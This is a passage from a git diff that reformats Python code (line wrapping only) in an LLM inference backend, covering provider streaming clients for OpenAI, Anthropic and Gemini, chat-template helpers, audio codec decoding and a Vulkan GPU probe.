[segment for segment in segments if segment] - return bool(segments) and all(segment in _BOILERPLATE_NORMALIZED for segment in segments) + return bool(segments) and all( + segment in _BOILERPLATE_NORMALIZED for segment in segments + ) def _strip_boilerplate_lines(text: str) -> str: @@ -707,7 +715,11 @@ def _strip_boilerplate_lines(text: str) -> str: in_fence = not in_fence out.append(line) continue - if not in_fence and len(line) <= _BOILERPLATE_MAX_LINE_CHARS and _line_is_boilerplate(line): + if ( + not in_fence + and len(line) <= _BOILERPLATE_MAX_LINE_CHARS + and _line_is_boilerplate(line) + ): continue out.append(line) # Collapse blank runs the dropped lines may have left behind. diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py index 706346daad..8a5aae3712 100644 --- a/studio/backend/core/inference/_vulkan_probe.py +++ b/studio/backend/core/inference/_vulkan_probe.py @@ -50,7 +50,9 @@ def _igpu_flags(base, lib, count: int) -> list[bool]: for i in range(min(count, dev_count)): dev = base.ggml_backend_reg_dev_get(reg, i) if dev: - flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU + flags[i] = ( + base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU + ) except Exception: # Best-effort: any failure degrades to "discrete" so the memory # readings still get through instead of crashing the probe. @@ -100,7 +102,9 @@ def main() -> int: rows = [] for i in range(count): free, total = ctypes.c_size_t(0), ctypes.c_size_t(0) - lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total)) + lib.ggml_backend_vk_get_device_memory( + i, ctypes.byref(free), ctypes.byref(total) + ) rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value)) sys.stdout.write("\n".join(rows)) return 0 diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py index 34445cc58e..c7e095766e 100644 --- a/studio/backend/core/inference/anthropic_compat.py +++ b/studio/backend/core/inference/anthropic_compat.py @@ -36,7 +36,11 @@ def anthropic_tool_use_id(upstream_id = None) -> str: """Return an Anthropic-style tool_use id (prefix 'toolu_'). Reuses an upstream id only if it already starts with 'toolu_'; otherwise mints a fresh 'toolu_<24 hex>'.""" - if upstream_id and isinstance(upstream_id, str) and upstream_id.startswith("toolu_"): + if ( + upstream_id + and isinstance(upstream_id, str) + and upstream_id.startswith("toolu_") + ): return upstream_id return f"toolu_{uuid.uuid4().hex[:24]}" @@ -149,7 +153,9 @@ def anthropic_messages_to_openai( tc = b.get("content", "") if isinstance(tc, list): tc = " ".join( - p["text"] for p in tc if isinstance(p, dict) and p.get("type") == "text" + p["text"] + for p in tc + if isinstance(p, dict) and p.get("type") == "text" ) tool_results.append( { @@ -459,7 +465,9 @@ class AnthropicStreamEmitter: events.append(self._close_block()) # Reuse the id published in content_block_start; fall back to mapping # the raw id only if no tool_start preceded this end. - tool_use_id = self._open_tool_use_id or anthropic_tool_use_id(event.get("tool_call_id", "")) + tool_use_id = self._open_tool_use_id or anthropic_tool_use_id( + event.get("tool_call_id", "") + ) self._open_tool_call_id = None self._open_tool_use_id = None self._open_tool_args_sent = False @@ -596,7 +604,11 @@ class AnthropicPassthroughEmitter: # ── Structured tool calls take precedence over healing ── # Grammar mode worked: flush anything the healer held (it preceded the # call in the model's output) and relay verbatim from here on. - if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant: + if ( + delta.get("tool_calls") + and self._healer is not None + and not self._healer.dormant + ): for kind, value in self._healer.structured_tool_call_seen(): if kind == "text" and value: events.extend(self._emit_text_delta(value)) diff --git a/studio/backend/core/inference/api_monitor.py b/studio/backend/core/inference/api_monitor.py index f76a38576f..e30d1d2047 100644 --- a/studio/backend/core/inference/api_monitor.py +++ b/studio/backend/core/inference/api_monitor.py @@ -183,7 +183,9 @@ class ApiMonitor: ): # Derive only when no authoritative total has been set; # a later partial chunk must not clobber a provider total. - entry.total_tokens = (entry.prompt_tokens or 0) + (entry.completion_tokens or 0) + entry.total_tokens = (entry.prompt_tokens or 0) + ( + entry.completion_tokens or 0 + ) if context_length is not None: entry.context_length = context_length entry.updated_at = time.time() @@ -266,7 +268,8 @@ class ApiMonitor: return sum( 1 for entry in self._entries - if entry.status == "running" and (subject is None or entry.subject == subject) + if entry.status == "running" + and (subject is None or entry.subject == subject) ) def clear(self) -> None: diff --git a/studio/backend/core/inference/audio_codecs.py b/studio/backend/core/inference/audio_codecs.py index 93c7da72cb..fa5f4a9d8d 100644 --- a/studio/backend/core/inference/audio_codecs.py +++ b/studio/backend/core/inference/audio_codecs.py @@ -77,7 +77,9 @@ class AudioCodecManager: return from snac import SNAC - self._snac_model = SNAC.from_pretrained("hubertsiuzdak/snac_24khz").to(device).eval() + self._snac_model = ( + SNAC.from_pretrained("hubertsiuzdak/snac_24khz").to(device).eval() + ) logger.info("Loaded SNAC codec (24kHz)") def _load_bicodec( @@ -92,7 +94,9 @@ class AudioCodecManager: # Clone SparkAudio/Spark-TTS for the sparktts package (HF model repos # don't contain it) - spark_code_dir = os.path.join(os.path.dirname(model_repo_path or "."), "Spark-TTS") + spark_code_dir = os.path.join( + os.path.dirname(model_repo_path or "."), "Spark-TTS" + ) sparktts_pkg = os.path.join(spark_code_dir, "sparktts") if not os.path.isdir(sparktts_pkg): logger.info(f"Cloning SparkAudio/Spark-TTS to {spark_code_dir}...") @@ -175,7 +179,9 @@ class AudioCodecManager: # ── Decoders ───────────────────────────────────────────────── - def decode_snac(self, generated_ids: torch.Tensor, device: str) -> Tuple[bytes, int]: + def decode_snac( + self, generated_ids: torch.Tensor, device: str + ) -> Tuple[bytes, int]: """Decode SNAC tokens (Orpheus) into WAV bytes. Finds the START_OF_SPEECH (128257) marker, extracts codes after it, @@ -188,7 +194,9 @@ class AudioCodecManager: cropped = generated_ids[:, token_indices[1][-1] + 1 :] else: # Fall back to the entire output if the marker is missing - logger.warning("No START_OF_SPEECH token (128257) found — using full generated output") + logger.warning( + "No START_OF_SPEECH token (128257) found — using full generated output" + ) cropped = generated_ids row = cropped[0] @@ -214,7 +222,8 @@ class AudioCodecManager: layer_3.append(codes[7 * i + 6] - 24576) snac_codes = [ - torch.tensor(layer).unsqueeze(0).to(device) for layer in [layer_1, layer_2, layer_3] + torch.tensor(layer).unsqueeze(0).to(device) + for layer in [layer_1, layer_2, layer_3] ] with torch.no_grad(): @@ -241,12 +250,16 @@ class AudioCodecManager: f"BiCodec decode: {len(global_matches)} global tokens, {len(semantic_matches)} semantic tokens" ) if len(global_matches) < 10: - logger.info(f"BiCodec generated text (first 500 chars): {generated_text[:500]}") + logger.info( + f"BiCodec generated text (first 500 chars): {generated_text[:500]}" + ) if not semantic_matches: raise ValueError("No bicodec_semantic tokens found in generated output") - semantic_ids = torch.tensor([int(t) for t in semantic_matches]).long().unsqueeze(0) + semantic_ids = ( + torch.tensor([int(t) for t in semantic_matches]).long().unsqueeze(0) + ) # Speaker encoder expects exactly 32 global tokens (token_num=32); # pad with zeros or truncate. diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py index 2a5d0db228..6502691665 100644 --- a/studio/backend/core/inference/chat_eos.py +++ b/studio/backend/core/inference/chat_eos.py @@ -75,7 +75,9 @@ def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> lis original tokenizer, so resolving ids on the mapped tokenizer would store the wrong (doc-eos) id and let generation run past the real turn marker.""" ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None)) - template = _collect_template_text(getattr(template_tokenizer, "chat_template", None)) + template = _collect_template_text( + getattr(template_tokenizer, "chat_template", None) + ) if not template or any(h in template for h in _HARMONY_MARKERS): return sorted(ids) unk = getattr(id_tokenizer, "unk_token_id", None) diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py index 528c059fbc..37f849d790 100644 --- a/studio/backend/core/inference/chat_template_helpers.py +++ b/studio/backend/core/inference/chat_template_helpers.py @@ -30,7 +30,9 @@ def _tokenizer_objects(tokenizer) -> tuple: if tokenizer is None: return () nested = getattr(tokenizer, "tokenizer", None) - return (tokenizer,) if nested is None or nested is tokenizer else (tokenizer, nested) + return ( + (tokenizer,) if nested is None or nested is tokenizer else (tokenizer, nested) + ) def _selected_template_strings_from_value( @@ -81,12 +83,18 @@ def _detect_reasoning_channel_markers_from_templates( templates: tuple[str, ...], ) -> Optional[tuple[str, str]]: """Return Gemma native reasoning markers only when a template emits them.""" - if any(opener in template for template in templates for opener in _GEMMA_TEMPLATE_OPENERS): + if any( + opener in template + for template in templates + for opener in _GEMMA_TEMPLATE_OPENERS + ): return _GEMMA_THOUGHT_OPEN, _GEMMA_THOUGHT_CLOSE return None -def detect_reasoning_channel_markers(tokenizer, tools = None) -> Optional[tuple[str, str]]: +def detect_reasoning_channel_markers( + tokenizer, tools = None +) -> Optional[tuple[str, str]]: """Return native Gemma thought-channel markers supported by a tokenizer. Detection uses the active chat template rather than model names or vocabulary @@ -181,7 +189,9 @@ class ReasoningChannelNormalizer: if not self._buffer: break - marker = self._closing_marker if self._in_reasoning else self._opening_marker + marker = ( + self._closing_marker if self._in_reasoning else self._opening_marker + ) index = self._buffer.find(marker) if index < 0: stable, self._buffer = _split_partial_marker(self._buffer, marker) @@ -234,7 +244,9 @@ def normalize_reasoning_snapshots( normalized_output = "" for snapshot in stream: if not snapshot.startswith(raw_output): - raise RuntimeError("Reasoning normalization requires cumulative text snapshots") + raise RuntimeError( + "Reasoning normalization requires cumulative text snapshots" + ) delta = normalizer.feed(snapshot[len(raw_output) :]) raw_output = snapshot if delta: @@ -373,7 +385,9 @@ def apply_chat_template_for_generation( break if last_exc is not None: raise last_exc - raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result") + raise RuntimeError( + "apply_chat_template_for_generation: no attempt produced a result" + ) try: return _render(messages) diff --git a/studio/backend/core/inference/external_provider.py b/studio/backend/core/inference/external_provider.py index 2debf946e9..054c18b7cc 100644 --- a/studio/backend/core/inference/external_provider.py +++ b/studio/backend/core/inference/external_provider.py @@ -50,7 +50,9 @@ def _is_openai_family_cloud(base_url: Optional[str]) -> bool: return host == "api.openai.com" or host.endswith(".openai.azure.com") -_ANTHROPIC_4_7_SAMPLING_REMOVED = re.compile(r"^claude-(?:opus|sonnet|haiku)-4-7(?:[-.]|$)") +_ANTHROPIC_4_7_SAMPLING_REMOVED = re.compile( + r"^claude-(?:opus|sonnet|haiku)-4-7(?:[-.]|$)" +) _OPENAI_REASONING_SUMMARY_UNSUPPORTED = re.compile(r"^o3(?:[-.]|$)") _OPENAI_REASONING_STATUSES = {"in_progress", "completed", "incomplete"} @@ -109,7 +111,9 @@ _OPENAI_CITATION_MARKER = re.compile( ) -def _build_citation_lookup(url_citations: list[dict[str, Any]]) -> dict[str, tuple[int, str]]: +def _build_citation_lookup( + url_citations: list[dict[str, Any]], +) -> dict[str, tuple[int, str]]: """Map every known ``source_id`` alias to ``(citation_index, url)``. Accepts singular ``source_id`` and plural ``source_ids``. First-seen @@ -132,7 +136,9 @@ def _build_citation_lookup(url_citations: list[dict[str, Any]]) -> dict[str, tup return by_source -def _replace_openai_citation_markers(text: str, url_citations: list[dict[str, Any]]) -> str: +def _replace_openai_citation_markers( + text: str, url_citations: list[dict[str, Any]] +) -> str: """Rewrite `\\ue200cite\\ue202SOURCE_ID[\\ue202LOCATOR]\\ue201` markers into `[[N]](URL)` per resolvable id. Multi-source markers expand to one link per id; unresolved tokens drop. Idempotent on text without private-use @@ -336,7 +342,9 @@ def _anthropic_supports_compaction(model: str) -> bool: def _anthropic_supports_fast_mode(model: str) -> bool: # Require a family boundary ("" or "-") after the prefix so IDs like # "claude-opus-4-70" / "claude-opus-4-7b" don't match. - return any(model == p or model.startswith(f"{p}-") for p in _ANTHROPIC_FAST_MODE_PREFIXES) + return any( + model == p or model.startswith(f"{p}-") for p in _ANTHROPIC_FAST_MODE_PREFIXES + ) # Cap on ``cited_text`` forwarded in document_citations tool_events; bounds @@ -481,7 +489,8 @@ def _create_shared_http_client() -> httpx.AsyncClient: if "Unknown scheme for proxy URL" not in exc_str and "socksio" not in exc_str: raise logger.warning( - "Ignoring unsupported environment proxy for the shared HTTP client: %s", exc_str + "Ignoring unsupported environment proxy for the shared HTTP client: %s", + exc_str, ) return httpx.AsyncClient(trust_env = False) @@ -613,7 +622,9 @@ def _safe_fetch_image_for_gemini_sync( if rp_info is None: return None _rp, current_host, current_port = rp_info - ok2, reason2, pinned_ip = _validate_and_resolve_host(current_host, current_port) + ok2, reason2, pinned_ip = _validate_and_resolve_host( + current_host, current_port + ) if not ok2: logger.warning( "Gemini image fetch: refusing redirect host=%s reason=%s", @@ -633,9 +644,13 @@ def _safe_fetch_image_for_gemini_sync( with resp: status = getattr(resp, "status", None) or resp.getcode() if status != 200: - logger.info("Gemini image fetch: status=%s host=%s", status, current_host) + logger.info( + "Gemini image fetch: status=%s host=%s", status, current_host + ) return None - _hdr_mime = (resp.headers.get("content-type") or "").split(";")[0].strip().lower() + _hdr_mime = ( + (resp.headers.get("content-type") or "").split(";")[0].strip().lower() + ) # Declared non-image MIME is refused; missing MIME uses the caller's. if _hdr_mime and not _hdr_mime.startswith("image/"): logger.info( @@ -645,7 +660,9 @@ def _safe_fetch_image_for_gemini_sync( ) return None _final_mime_pre = _hdr_mime if _hdr_mime else fallback_mime - if not isinstance(_final_mime_pre, str) or not _final_mime_pre.startswith("image/"): + if not isinstance(_final_mime_pre, str) or not _final_mime_pre.startswith( + "image/" + ): logger.info( "Gemini image fetch: missing content-type and no image fallback host=%s", current_host, @@ -687,7 +704,9 @@ async def _safe_fetch_image_for_gemini( remaining per-request budget so over-budget URLs are rejected up front. """ import asyncio - return await asyncio.to_thread(_safe_fetch_image_for_gemini_sync, url, fallback_mime, max_bytes) + return await asyncio.to_thread( + _safe_fetch_image_for_gemini_sync, url, fallback_mime, max_bytes + ) # Synthetic-tool names stamped onto outbound _toolEvent.arguments so the @@ -764,10 +783,10 @@ class ExternalProviderClient: if self.provider_type == "gemini": _parsed_base = urlparse(self.base_url) if ( - _parsed_base.hostname or "" - ).lower() == "generativelanguage.googleapis.com" and _parsed_base.path.rstrip( - "/" - ) == "/v1beta/openai": + (_parsed_base.hostname or "").lower() + == "generativelanguage.googleapis.com" + and _parsed_base.path.rstrip("/") == "/v1beta/openai" + ): self.base_url = self.base_url[: -len("/openai")] self.api_key = api_key self._timeout = httpx.Timeout(timeout, connect = 10.0) @@ -982,7 +1001,9 @@ class ExternalProviderClient: else: body["thinking"] = {"type": "disabled"} elif self.provider_type == "mistral": - _apply_mistral_reasoning_controls(body, model, enable_thinking, reasoning_effort) + _apply_mistral_reasoning_controls( + body, model, enable_thinking, reasoning_effort + ) elif self.provider_type == "vllm" and enable_thinking is not None: # vLLM gates thinking via chat_template_kwargs.enable_thinking. tpl_kw = body.get("chat_template_kwargs") @@ -1023,7 +1044,9 @@ class ExternalProviderClient: and "web_search" in enabled_tools ): plugins = list(body.get("plugins") or []) - if not any(isinstance(p, dict) and p.get("id") == "web" for p in plugins): + if not any( + isinstance(p, dict) and p.get("id") == "web" for p in plugins + ): plugins.append({"id": "web"}) body["plugins"] = plugins logger.info( @@ -1070,7 +1093,9 @@ class ExternalProviderClient: response.status_code, error_text[:500], ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return # Manual __anext__ (not `async for`) so we can close the @@ -1149,7 +1174,11 @@ class ExternalProviderClient: { "type": "tool_end", "tool_call_id": web_search_tool_id, - "result": ("\n---\n".join(blocks) if blocks else "(search complete)"), + "result": ( + "\n---\n".join(blocks) + if blocks + else "(search complete)" + ), } ) @@ -1197,14 +1226,18 @@ class ExternalProviderClient: # in particular returns 200 then surfaces the # failure as an SSE error event. if "error" in parsed: - event_counts["error"] = event_counts.get("error", 0) + 1 + event_counts["error"] = ( + event_counts.get("error", 0) + 1 + ) logger.warning( "%s SSE error event: %s", self.provider_type, parsed.get("error"), ) else: - event_counts["delta"] = event_counts.get("delta", 0) + 1 + event_counts["delta"] = ( + event_counts.get("delta", 0) + 1 + ) # OpenRouter (and most OAI-compat providers) # report the handling model in every chunk's # `model` field. Latch the first non-empty @@ -1230,13 +1263,20 @@ class ExternalProviderClient: ): if not isinstance(envelope, dict): continue - for ann in envelope.get("annotations") or []: + for ann in ( + envelope.get("annotations") + or [] + ): _record_or_url_citation(ann) yield line # Stream ended without [DONE] (some upstreams just close # the connection). Emit tool_end so the card doesn't stay # in "running" forever. - if web_search_active and web_search_tool_started and not web_search_tool_ended: + if ( + web_search_active + and web_search_tool_started + and not web_search_tool_ended + ): yield _build_web_search_tool_end() web_search_tool_ended = True except GeneratorExit: @@ -1313,7 +1353,9 @@ class ExternalProviderClient: # $web_search forbids thinking; sending the toggle would make the # server reject the request with 400. "thinking": {"type": "disabled"}, - "tools": [{"type": "builtin_function", "function": {"name": "$web_search"}}], + "tools": [ + {"type": "builtin_function", "function": {"name": "$web_search"}} + ], } if max_tokens is not None: body["max_tokens"] = max_tokens @@ -1363,7 +1405,9 @@ class ExternalProviderClient: response.status_code, error_text[:500], ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return lines_gen = response.aiter_lines().__aiter__() @@ -1427,7 +1471,9 @@ class ExternalProviderClient: # call without the builtin tool. Mirrors the UX of every other # provider when web_search is on but the model didn't need it. search_calls = [ - tc for tc in tool_calls_acc.values() if tc["function"]["name"] == "$web_search" + tc + for tc in tool_calls_acc.values() + if tc["function"]["name"] == "$web_search" ] if not search_calls: logger.info( @@ -1451,7 +1497,9 @@ class ExternalProviderClient: response.status_code, error_text[:500], ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return # Manual __anext__ loop instead of `async for` — see the # stream_chat_completion comment for the Python 3.13 + @@ -1552,7 +1600,9 @@ class ExternalProviderClient: response.status_code, error_text[:500], ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return lines_gen = response.aiter_lines().__aiter__() @@ -1591,7 +1641,9 @@ class ExternalProviderClient: ): if not isinstance(envelope, dict): continue - for ann in envelope.get("annotations") or []: + for ann in ( + envelope.get("annotations") or [] + ): if isinstance(ann, dict): annotation_shapes.add( str(ann.get("type") or "?") @@ -1661,7 +1713,9 @@ class ExternalProviderClient: system = ( content if isinstance(content, str) - else "\n".join(p["text"] for p in content if p.get("type") == "text") + else "\n".join( + p["text"] for p in content if p.get("type") == "text" + ) ) continue @@ -1719,13 +1773,18 @@ class ExternalProviderClient: # https://platform.claude.com/docs/en/build-with-claude/compaction summary = part.get("content") or "" if isinstance(summary, str) and summary: - anthropic_parts.append({"type": "compaction", "content": summary}) + anthropic_parts.append( + {"type": "compaction", "content": summary} + ) elif part.get("type") == "image_url": url = part.get("image_url", {}).get("url", "") if url.startswith("data:"): # data:image/png;base64, -> split header and data header, _, b64data = url.partition(",") - media_type = header.split(";")[0].replace("data:", "") or "image/jpeg" + media_type = ( + header.split(";")[0].replace("data:", "") + or "image/jpeg" + ) anthropic_parts.append( { "type": "image", @@ -1800,7 +1859,9 @@ class ExternalProviderClient: # the same message. The native Messages API doesn't accept # OpenAI's top-level `tool_calls` field; the call lives inside a # content block `{type:"tool_use", id, name, input}`. - if msg.get("role") == "assistant" and isinstance(msg.get("tool_calls"), list): + if msg.get("role") == "assistant" and isinstance( + msg.get("tool_calls"), list + ): for _tc in msg["tool_calls"]: if not isinstance(_tc, dict): continue @@ -1809,7 +1870,9 @@ class ExternalProviderClient: continue _raw = _fn.get("arguments") or "{}" try: - _input = _json.loads(_raw) if isinstance(_raw, str) else _raw + _input = ( + _json.loads(_raw) if isinstance(_raw, str) else _raw + ) except Exception: _input = {"_raw": _raw} if not isinstance(_input, dict): @@ -1875,7 +1938,9 @@ class ExternalProviderClient: continue _raw = _fn.get("arguments") or "{}" try: - _input = _json.loads(_raw) if isinstance(_raw, str) else _raw + _input = ( + _json.loads(_raw) if isinstance(_raw, str) else _raw + ) except Exception: _input = {"_raw": _raw} if not isinstance(_input, dict): @@ -1957,12 +2022,16 @@ class ExternalProviderClient: last_msg["content"] = head thinking_spec = _anthropic_thinking_spec(model) allowed_efforts = ( - thinking_spec.efforts if thinking_spec else ("none", "low", "medium", "high") + thinking_spec.efforts + if thinking_spec + else ("none", "low", "medium", "high") ) effort = reasoning_effort if reasoning_effort in allowed_efforts else None # Claude 4.6 takes top-tier adaptive effort as "max" only ("xhigh" is # 4.7-only), so map "xhigh" -> "max" for 4.6 outbound requests. - if effort == "xhigh" and model.startswith(("claude-opus-4-6", "claude-sonnet-4-6")): + if effort == "xhigh" and model.startswith( + ("claude-opus-4-6", "claude-sonnet-4-6") + ): effort = "max" if effort is None: if enable_thinking is False: @@ -2013,12 +2082,17 @@ class ExternalProviderClient: and bool(tool_choice["function"].get("name")) ) _anthropic_hosted_builtins_allowed = ( - not _anthropic_tool_choice_disabled and not _anthropic_tool_choice_forced_function + not _anthropic_tool_choice_disabled + and not _anthropic_tool_choice_forced_function ) # Anthropic web_search (date-pinned per model family). # https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool - if _anthropic_hosted_builtins_allowed and enabled_tools and "web_search" in enabled_tools: + if ( + _anthropic_hosted_builtins_allowed + and enabled_tools + and "web_search" in enabled_tools + ): anthropic_tools = list(body.get("tools") or []) anthropic_tools.append( { @@ -2032,7 +2106,9 @@ class ExternalProviderClient: # Anthropic web_fetch: only URLs already in conversation. Date-pinned. # https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-fetch-tool web_fetch_enabled = bool( - _anthropic_hosted_builtins_allowed and enabled_tools and "web_fetch" in enabled_tools + _anthropic_hosted_builtins_allowed + and enabled_tools + and "web_fetch" in enabled_tools ) if web_fetch_enabled: anthropic_tools = list(body.get("tools") or []) @@ -2137,7 +2213,9 @@ class ExternalProviderClient: # Merge new beta flags onto whatever the registry contributed. existing_beta = request_headers.get("anthropic-beta", "").strip() beta_parts = ( - [p.strip() for p in existing_beta.split(",") if p.strip()] if existing_beta else [] + [p.strip() for p in existing_beta.split(",") if p.strip()] + if existing_beta + else [] ) if code_execution_enabled and _ANTHROPIC_CODE_EXECUTION_BETA not in beta_parts: beta_parts.append(_ANTHROPIC_CODE_EXECUTION_BETA) @@ -2169,7 +2247,10 @@ class ExternalProviderClient: # the id is expired / missing, emit container_invalidated so # the chat adapter clears the stored id and the next turn # falls back to auto-create. - if anthropic_code_exec_container_id and 400 <= response.status_code < 500: + if ( + anthropic_code_exec_container_id + and 400 <= response.status_code < 500 + ): lowered = error_text.lower() if "container" in lowered and ( "expired" in lowered @@ -2182,7 +2263,9 @@ class ExternalProviderClient: f"data: " f"{_json.dumps({'id': completion_id, 'object': 'chat.completion.chunk', 'choices': [{'index': 0, 'delta': {}, 'finish_reason': None}], '_toolEvent': {'type': 'container_invalidated'}})}" ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return # NOTE: same manual __anext__ loop as stream_chat_completion — see comment there. @@ -2318,7 +2401,11 @@ class ExternalProviderClient: # Inline a short text preview so the source pill # carries usable context; skip for PDFs (body is # base64-encoded). - if media_type.startswith("text/") and isinstance(data, str) and data: + if ( + media_type.startswith("text/") + and isinstance(data, str) + and data + ): snippet = data[:240].strip() # Frontend parseSourcesFromResult only emits a source pill # when both `Title:` and `URL:` are present, so fall back to @@ -2366,7 +2453,9 @@ class ExternalProviderClient: if "lines" in inner and isinstance(inner.get("lines"), list): return "\n".join(str(line) for line in inner["lines"]) if "is_file_update" in inner: - return "Updated" if inner.get("is_file_update") else "Created" + return ( + "Updated" if inner.get("is_file_update") else "Created" + ) content_field = inner.get("content") if isinstance(content_field, str): return content_field @@ -2412,7 +2501,10 @@ class ExternalProviderClient: content_block = event.get("content_block") or {} block_type = content_block.get("type") block_name = content_block.get("name") - if block_type == "server_tool_use" and block_name == "web_search": + if ( + block_type == "server_tool_use" + and block_name == "web_search" + ): tool_use_id = content_block.get("id", "") or ( f"ws_{len(web_search_calls)}" ) @@ -2433,9 +2525,14 @@ class ExternalProviderClient: content = content_block.get("content") or [] current_result_block = { "tool_use_id": tool_use_id, - "results": list(content) if isinstance(content, list) else [], + "results": list(content) + if isinstance(content, list) + else [], } - elif block_type == "server_tool_use" and block_name == "web_fetch": + elif ( + block_type == "server_tool_use" + and block_name == "web_fetch" + ): tool_use_id = content_block.get("id", "") or ( f"wf_{len(web_fetch_calls)}" ) @@ -2462,7 +2559,9 @@ class ExternalProviderClient: f"ce_{len(code_execution_calls)}" ) kind = ( - "bash" if block_name == "bash_code_execution" else "text_editor" + "bash" + if block_name == "bash_code_execution" + else "text_editor" ) current_code_exec_use = { "id": tool_use_id, @@ -2537,7 +2636,9 @@ class ExternalProviderClient: if isinstance(cit, dict): key = _anthropic_citation_key(cit) idx_for_marker: Optional[int] = None - for idx, existing in enumerate(document_citations, start = 1): + for idx, existing in enumerate( + document_citations, start = 1 + ): if existing.get("_key") == key: idx_for_marker = idx break @@ -2586,7 +2687,9 @@ class ExternalProviderClient: "type": "tool_start", "tool_name": "web_search", "tool_call_id": tool_use_id, - "arguments": ({"query": query} if query else {}), + "arguments": ( + {"query": query} if query else {} + ), } ) current_server_tool_use = None @@ -2627,7 +2730,9 @@ class ExternalProviderClient: kind = current_code_exec_use["kind"] emit_args = {"kind": kind, **parsed_args} if tool_use_id in code_execution_calls: - code_execution_calls[tool_use_id]["arguments"] = emit_args + code_execution_calls[tool_use_id]["arguments"] = ( + emit_args + ) yield _emit_tool_event( { "type": "tool_start", @@ -2661,13 +2766,17 @@ class ExternalProviderClient: file_blocks = inner.get("content") if isinstance(file_blocks, list): for entry in file_blocks: - if isinstance(entry, dict) and entry.get("file_id"): + if isinstance(entry, dict) and entry.get( + "file_id" + ): code_execution_generated_files += 1 result_text = _format_code_execution_result( inner if isinstance(inner, dict) else {} ) if tool_use_id in code_execution_calls: - code_execution_calls[tool_use_id]["result"] = result_text + code_execution_calls[tool_use_id]["result"] = ( + result_text + ) yield _emit_tool_event( { "type": "tool_end", @@ -2746,7 +2855,10 @@ class ExternalProviderClient: c_in = 0 c_out = 0 for it in iterations: - if isinstance(it, dict) and it.get("type") == "compaction": + if ( + isinstance(it, dict) + and it.get("type") == "compaction" + ): c_in += int(it.get("input_tokens") or 0) c_out += int(it.get("output_tokens") or 0) if c_in or c_out: @@ -2758,14 +2870,18 @@ class ExternalProviderClient: # inbound id so reuse doesn't re-write it every turn. delta_obj = event.get("delta") or {} container_obj = delta_obj.get("container") - if isinstance(container_obj, dict) and latched_container_id is None: + if ( + isinstance(container_obj, dict) + and latched_container_id is None + ): probe = container_obj.get("id") if isinstance(probe, str) and probe: latched_container_id = probe if ( latched_container_id and not container_id_emitted - and latched_container_id != anthropic_code_exec_container_id + and latched_container_id + != anthropic_code_exec_container_id ): yield _emit_tool_event( { @@ -2804,7 +2920,9 @@ class ExternalProviderClient: "or remove the previous turn and try " "again._" ) - yield _emit_tool_event({"type": "anthropic_refusal"}) + yield _emit_tool_event( + {"type": "anthropic_refusal"} + ) if mapped is not None: chunk = { "id": completion_id, @@ -2832,8 +2950,13 @@ class ExternalProviderClient: for c in document_citations: entry = {k: v for k, v in c.items() if k != "_key"} cited = entry.get("cited_text") - if isinstance(cited, str) and len(cited) > _CITED_TEXT_MAX_LEN: - entry["cited_text"] = cited[:_CITED_TEXT_MAX_LEN] + "…" + if ( + isinstance(cited, str) + and len(cited) > _CITED_TEXT_MAX_LEN + ): + entry["cited_text"] = ( + cited[:_CITED_TEXT_MAX_LEN] + "…" + ) clean_cits.append(entry) yield _emit_tool_event( { @@ -2852,7 +2975,9 @@ class ExternalProviderClient: if usage_line: yield usage_line yield "data: [DONE]" - await response.aclose() # set PoolByteStream._closed=True FIRST + await ( + response.aclose() + ) # set PoolByteStream._closed=True FIRST break except GeneratorExit: await response.aclose() # set PoolByteStream._closed=True FIRST @@ -2860,21 +2985,31 @@ class ExternalProviderClient: raise finally: # Per-event-type counts + web_search summary for triage. - web_search_requested = bool(enabled_tools and "web_search" in enabled_tools) + web_search_requested = bool( + enabled_tools and "web_search" in enabled_tools + ) web_search_invocations = len(web_search_calls) total_results = sum( len(sc.get("results") or []) for sc in web_search_calls.values() ) - queries = [sc["query"] for sc in web_search_calls.values() if sc.get("query")] + queries = [ + sc["query"] + for sc in web_search_calls.values() + if sc.get("query") + ] # cache_read_input_tokens > 0 proves the cache_control marker # works (turn 1 shows cache_creation instead). code_execution_invocations = len(code_execution_calls) code_execution_results = sum( - 1 for c in code_execution_calls.values() if c.get("result") is not None + 1 + for c in code_execution_calls.values() + if c.get("result") is not None ) web_fetch_requested = web_fetch_enabled web_fetch_invocations = len(web_fetch_calls) - web_fetch_urls = [wf["url"] for wf in web_fetch_calls.values() if wf.get("url")] + web_fetch_urls = [ + wf["url"] for wf in web_fetch_calls.values() if wf.get("url") + ] logger.info( "Anthropic stream complete (model=%s, " "web_search_requested=%s, web_search_invocations=%s, " @@ -3062,7 +3197,10 @@ class ExternalProviderClient: if url.startswith("data:"): header, _, b64data = url.partition(",") media_type = ( - header.split(";")[0].replace("data:", "").strip().lower() + header.split(";")[0] + .replace("data:", "") + .strip() + .lower() or "image/jpeg" ) # Reject non-image data URLs (e.g. data:text/html); @@ -3077,7 +3215,10 @@ class ExternalProviderClient: # data: URLs share the same caps as fetched # URLs so inline payloads don't bypass them. _data_approx_bytes = (len(b64data) * 3) // 4 - if _remote_image_count >= _GEMINI_REMOTE_IMAGE_MAX_COUNT: + if ( 